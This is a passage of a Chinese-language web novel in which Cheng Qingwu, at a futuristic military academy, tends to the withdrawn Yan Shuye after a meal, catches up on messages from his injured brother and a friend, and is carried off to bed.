像是一头在荒野里独自生活了很久的猛兽,第一次被人带回温暖的房子里,青涩地适应着熟食与陪伴。 “晏疏野,你以前——” 程青梧轻声开口,又稍稍止住了口。 他想起雷克斯和其他人看向晏疏野时那种充满复杂情绪的眼神,又想起晏疏野身上那种与周围格格不入的孤独感。 这孩子,以前一定经历过很多不好的事情吧?所以才这么封闭,这么不擅长表达,只能以这一种近乎原始的方式存在。 一种怜惜在程青梧心中滋生。 晏疏野吃完了最后一口饭,连番茄汤汁都喝得干干净净。 程青梧正欲站起身,去收拾碗筷,却见晏疏野主动接过他手中的碗,去厨房洗碗了。 嗯,还挺懂事的嘛。 趁着有空闲,程青梧开始处理光脑上的信息。 现在光脑终于有信号了。 最先收到的,是一条停课通知,说沧麓军校电力系统故障,今天下午到晚上都进行停课,所有学生一律回宿舍待命。 这条信息是他受伤昏厥的时发出的,程青梧在治疗舱醒来的时候,由于光脑没有信号,就错了个这条停课通知,他还是一如既往地去上课了。 难怪训练馆里一个人都没有。 原来是都收到了停课通知,回宿舍待命了。 就只有程青梧一个人乖乖去上课。 程青梧:“……” 也不知是好事还是坏事。 就当做是好事吧。 程白起那边照例发来了康复训练的视频。 程青梧照旧一一点开来看,像古时皇帝批阅折子时,逐一批阅。 虽然弟弟康复得很缓慢,但到底还是在康复中。 程白起到底是有一点作死的天赋在的,明明都骨折了,每天还是尝试在练习单手俯卧撑和做引体向上,活蹦乱跳得跟一条锦鲤似的。 要不是碍于晏疏野在厨房里洗碗,程青梧都想直接打电话过去教导一通了,现在他只能克制地发了几句嘱咐过去,让程白起好生静养。 程白起秒回了一个吐舌头的表情,又问起今天上课的事。 程青梧报喜不报忧:“一切都挺顺利的,我还见到了阿瑞斯,他挺厉害的。” 好不容易把傻弟弟搪塞了过去,程青梧又收到了顾昕的慰问信息。 程青梧回复:【我已经痊愈了,没什么大碍,放心吧~】 顾昕:【那就好】 顾昕:【图片】 顾昕:【红色警报刚解除,去了一趟食堂,食堂什么都没有,只剩下营养液可以买了】 顾昕:【白起哥,我好想念你的糖醋里脊盖饭啊啊啊】 程青梧笑得弯了弯眼,他编辑了一条信息:【要是真的饿,可以来我的宿舍,我做饭给你】 “吃”之一字还未打出来,一道高大冷峻的黑影笼罩了下来。 程青梧还没反应过来,就被打横抱起了。 不知何时,晏疏野洗完了碗,来到他面前。 两条劲韧结实的小臂把他抱起来,往楼上走去。 到点了,该睡觉了。